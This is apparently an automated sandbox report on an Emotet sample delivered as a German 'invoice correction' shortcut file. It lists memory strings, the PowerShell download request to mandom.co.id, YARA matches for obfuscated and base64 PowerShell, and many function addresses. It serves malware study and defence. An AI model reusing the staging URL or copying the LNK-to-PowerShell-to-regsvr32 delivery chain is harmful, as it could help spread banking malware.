Source: svchost.exe, 0000000B.00000003.326469338.000001FF4B25A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.327271835.000001FF4B25C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000000B.00000003.326446467.000001FF4B260000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 0000000B.00000002.327253252.000001FF4B23C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 0000000B.00000003.326446467.000001FF4B260000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 0000000B.00000003.326446467.000001FF4B260000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 0000000B.00000003.326446467.000001FF4B260000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 0000000B.00000002.327259328.000001FF4B242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.326535383.000001FF4B240000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 0000000B.00000002.327259328.000001FF4B242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.326535383.000001FF4B240000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 0000000B.00000003.326446467.000001FF4B260000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 0000000B.00000003.326535383.000001FF4B240000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.326469338.000001FF4B25A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.327271835.000001FF4B25C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 0000000B.00000003.326469338.000001FF4B25A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000B.00000002.327271835.000001FF4B25C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000B.00000002.327271835.000001FF4B25C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000B.00000002.327266562.000001FF4B24D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dynamic.t
Source: svchost.exe, 0000000B.00000003.326446467.000001FF4B260000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 0000000B.00000002.327253252.000001FF4B23C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000B.00000003.304174925.000001FF4B231000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: powershell.exe, 00000002.00000002.294144175.00000166DFDF1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.301101086.00000166EFC41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 0000000B.00000002.327253252.000001FF4B23C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 0000000B.00000002.327213021.000001FF4B213000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.327253252.000001FF4B23C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000B.00000003.304174925.000001FF4B231000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000B.00000003.326530278.000001FF4B256000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000B.00000003.304174925.000001FF4B231000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 0000000B.00000002.327240023.000001FF4B23A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.304174925.000001FF4B231000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 0000000B.00000003.326501558.000001FF4B246000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.327266562.000001FF4B24D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen
Source: unknown DNS traffic detected: queries for: mandom.co.id
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180006B24 InternetReadFile, 9_2_0000000180006B24
Source: global traffic HTTP traffic detected: GET /assets/TpIIt7SmNBsWCECLoHrS/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: mandom.co.idConnection: Keep-Alive

E-Banking Fraud
barindex
Yara detected Emotet
Source: Yara match File source: 6.2.regsvr32.exe.1de0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.regsvr32.exe.730000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.regsvr32.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.regsvr32.exe.1de0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.302284085.0000000001DE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.528233629.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.302481665.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.526430630.0000000000730000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: Rechnungskorrektur 2022.20.05_1305.lnk, type: SAMPLE Matched rule: Detects powershell keyword obfuscated with carets Author: Florian Roth
Source: Process Memory Space: powershell.exe PID: 1192, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Powershell drops PE file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\JydgVvbPD\MevgMvopaw.BUS Jump to dropped file
Yara signature match
Source: Rechnungskorrektur 2022.20.05_1305.lnk, type: SAMPLE Matched rule: SUSP_PowerShell_Caret_Obfuscation_2 date = 2019-07-20, author = Florian Roth, description = Detects powershell keyword obfuscated with carets, reference = Internal Research
Source: Process Memory Space: powershell.exe PID: 1192, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Creates files inside the system directory
Source: C:\Windows\System32\regsvr32.exe File created: C:\Windows\system32\UjKMhzOwg\ Jump to behavior
Detected potential crypto function
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FFF7F071EE0 2_2_00007FFF7F071EE0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00007FFFE21E12B0 6_2_00007FFFE21E12B0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00007FFFE21E4A70 6_2_00007FFFE21E4A70
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00007FFFE21E53FB 6_2_00007FFFE21E53FB
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00007FFFE21E6850 6_2_00007FFFE21E6850
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00007FFFE21E443C 6_2_00007FFFE21E443C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00007FFFE21E5CAD 6_2_00007FFFE21E5CAD
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00007FFFE21E5E01 6_2_00007FFFE21E5E01
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_01DD0000 6_2_01DD0000
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180006414 6_2_0000000180006414
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180005C74 6_2_0000000180005C74
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018002ACE8 6_2_000000018002ACE8
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180024104 6_2_0000000180024104
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180020118 6_2_0000000180020118
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000359C 6_2_000000018000359C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000E99C 6_2_000000018000E99C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180019628 6_2_0000000180019628
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180025A4C 6_2_0000000180025A4C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018002B7B2 6_2_000000018002B7B2
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180009408 6_2_0000000180009408
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180023C14 6_2_0000000180023C14
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018002582C 6_2_000000018002582C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000B834 6_2_000000018000B834
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000403C 6_2_000000018000403C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180021444 6_2_0000000180021444
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180012044 6_2_0000000180012044
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180016054 6_2_0000000180016054
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001705C 6_2_000000018001705C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180001870 6_2_0000000180001870
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001F878 6_2_000000018001F878
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180014484 6_2_0000000180014484
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180015494 6_2_0000000180015494
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000BC98 6_2_000000018000BC98
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180008C9C 6_2_0000000180008C9C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800078A4 6_2_00000001800078A4
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001F0A8 6_2_000000018001F0A8
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001E4AC 6_2_000000018001E4AC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800048B0 6_2_00000001800048B0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001ACB4 6_2_000000018001ACB4
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800090B4 6_2_00000001800090B4
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800270C0 6_2_00000001800270C0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800024C0 6_2_00000001800024C0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800280C8 6_2_00000001800280C8
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800050D4 6_2_00000001800050D4
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800234D8 6_2_00000001800234D8
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800150F0 6_2_00000001800150F0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180012500 6_2_0000000180012500
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001A10C 6_2_000000018001A10C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180028D10 6_2_0000000180028D10
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001A524 6_2_000000018001A524
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180002D28 6_2_0000000180002D28
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000E130 6_2_000000018000E130
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180029134 6_2_0000000180029134
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180008134 6_2_0000000180008134
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180022140 6_2_0000000180022140
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180006954 6_2_0000000180006954
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000F554 6_2_000000018000F554
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018002B564 6_2_000000018002B564
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180012168 6_2_0000000180012168
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180013568 6_2_0000000180013568
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180024570 6_2_0000000180024570
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180019178 6_2_0000000180019178
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180025180 6_2_0000000180025180
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180001980 6_2_0000000180001980
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180021588 6_2_0000000180021588
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001A988 6_2_000000018001A988
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180018190 6_2_0000000180018190
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180013994 6_2_0000000180013994
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180028998 6_2_0000000180028998
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800061A0 6_2_00000001800061A0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800135A6 6_2_00000001800135A6
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180016DA8 6_2_0000000180016DA8
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800059AC 6_2_00000001800059AC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800135B4 6_2_00000001800135B4
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001C1B8 6_2_000000018001C1B8
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800025B8 6_2_00000001800025B8
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800085BC 6_2_00000001800085BC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800015C0 6_2_00000001800015C0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800295C8 6_2_00000001800295C8
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800229CC 6_2_00000001800229CC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000E5D4 6_2_000000018000E5D4
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018002A5D8 6_2_000000018002A5D8
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800261E0 6_2_00000001800261E0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800079EC 6_2_00000001800079EC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180023624 6_2_0000000180023624
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180018628 6_2_0000000180018628
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180017E2C 6_2_0000000180017E2C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180017638 6_2_0000000180017638
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180004E3C 6_2_0000000180004E3C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180020E40 6_2_0000000180020E40
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180015A64 6_2_0000000180015A64
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180015264 6_2_0000000180015264
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000A26C 6_2_000000018000A26C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180007678 6_2_0000000180007678
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001667C 6_2_000000018001667C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180012680 6_2_0000000180012680
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180001E88 6_2_0000000180001E88
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000968C 6_2_000000018000968C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180022290 6_2_0000000180022290
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180026A90 6_2_0000000180026A90
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000529C 6_2_000000018000529C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180020AA0 6_2_0000000180020AA0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180022AAC 6_2_0000000180022AAC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180007EB4 6_2_0000000180007EB4
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800162BC 6_2_00000001800162BC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800252C0 6_2_00000001800252C0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001AEC8 6_2_000000018001AEC8
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001F6DC 6_2_000000018001F6DC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800026DC 6_2_00000001800026DC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180002ADC 6_2_0000000180002ADC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001E2F4 6_2_000000018001E2F4
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180016AF4 6_2_0000000180016AF4
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000DEF4 6_2_000000018000DEF4
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001DEFC 6_2_000000018001DEFC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180006308 6_2_0000000180006308
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001370C 6_2_000000018001370C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180004B18 6_2_0000000180004B18
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180015F24 6_2_0000000180015F24
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180006B24 6_2_0000000180006B24
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000F328 6_2_000000018000F328
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180021738 6_2_0000000180021738
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018002AF38 6_2_000000018002AF38
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180028348 6_2_0000000180028348
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000DB4C 6_2_000000018000DB4C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180014F50 6_2_0000000180014F50
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000B350 6_2_000000018000B350
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000A758 6_2_000000018000A758
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018002975C 6_2_000000018002975C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180024370 6_2_0000000180024370
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180008370 6_2_0000000180008370
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180015774 6_2_0000000180015774
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180012378 6_2_0000000180012378
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180026B98 6_2_0000000180026B98
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001CF9C 6_2_000000018001CF9C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001EBA0 6_2_000000018001EBA0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001B3A4 6_2_000000018001B3A4
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000D7AC 6_2_000000018000D7AC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800053B0 6_2_00000001800053B0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180015BB8 6_2_0000000180015BB8
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800207BC 6_2_00000001800207BC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000FFC0 6_2_000000018000FFC0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800173DC 6_2_00000001800173DC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180018BDC 6_2_0000000180018BDC
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00720000 9_2_00720000
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180006414 9_2_0000000180006414
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000C819 9_2_000000018000C819
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180019628 9_2_0000000180019628
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180025A4C 9_2_0000000180025A4C
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180012864 9_2_0000000180012864
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180005C74 9_2_0000000180005C74
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800248B0 9_2_00000001800248B0
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800252C0 9_2_00000001800252C0
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180006B24 9_2_0000000180006B24
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180006F2C 9_2_0000000180006F2C
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000A758 9_2_000000018000A758
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180024570 9_2_0000000180024570
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000E99C 9_2_000000018000E99C
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001B3A4 9_2_000000018001B3A4
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800079EC 9_2_00000001800079EC
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180009408 9_2_0000000180009408
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180023C14 9_2_0000000180023C14
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180023624 9_2_0000000180023624
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180018628 9_2_0000000180018628
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018002582C 9_2_000000018002582C
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180017E2C 9_2_0000000180017E2C
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000B834 9_2_000000018000B834
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180017638 9_2_0000000180017638
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000403C 9_2_000000018000403C
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180004E3C 9_2_0000000180004E3C
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180020E40 9_2_0000000180020E40
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180021444 9_2_0000000180021444
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180012044 9_2_0000000180012044
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180016054 9_2_0000000180016054
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001705C 9_2_000000018001705C
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180015A64 9_2_0000000180015A64
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180015264 9_2_0000000180015264
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000A26C 9_2_000000018000A26C
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180001870 9_2_0000000180001870
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001F878 9_2_000000018001F878
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180007678 9_2_0000000180007678
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001667C 9_2_000000018001667C
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180012680 9_2_0000000180012680
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180014484 9_2_0000000180014484
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180001E88 9_2_0000000180001E88
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000968C 9_2_000000018000968C
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180022290 9_2_0000000180022290
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180026A90 9_2_0000000180026A90
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180015494 9_2_0000000180015494
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000BC98 9_2_000000018000BC98
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000529C 9_2_000000018000529C
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180008C9C 9_2_0000000180008C9C
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180020AA0 9_2_0000000180020AA0
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800078A4 9_2_00000001800078A4
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001F0A8 9_2_000000018001F0A8
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180022AAC 9_2_0000000180022AAC
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001E4AC 9_2_000000018001E4AC
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800048B0 9_2_00000001800048B0
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001ACB4 9_2_000000018001ACB4
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180007EB4 9_2_0000000180007EB4
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800090B4 9_2_00000001800090B4
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800162BC 9_2_00000001800162BC
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800270C0 9_2_00000001800270C0
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800024C0 9_2_00000001800024C0
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800280C8 9_2_00000001800280C8
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001AEC8 9_2_000000018001AEC8
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800050D4 9_2_00000001800050D4
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800234D8 9_2_00000001800234D8
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001F6DC 9_2_000000018001F6DC
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800026DC 9_2_00000001800026DC
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180002ADC 9_2_0000000180002ADC
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018002ACE8 9_2_000000018002ACE8
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800150F0 9_2_00000001800150F0
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001E2F4 9_2_000000018001E2F4
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180016AF4 9_2_0000000180016AF4
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000DEF4 9_2_000000018000DEF4
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001DEFC 9_2_000000018001DEFC
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180012500 9_2_0000000180012500
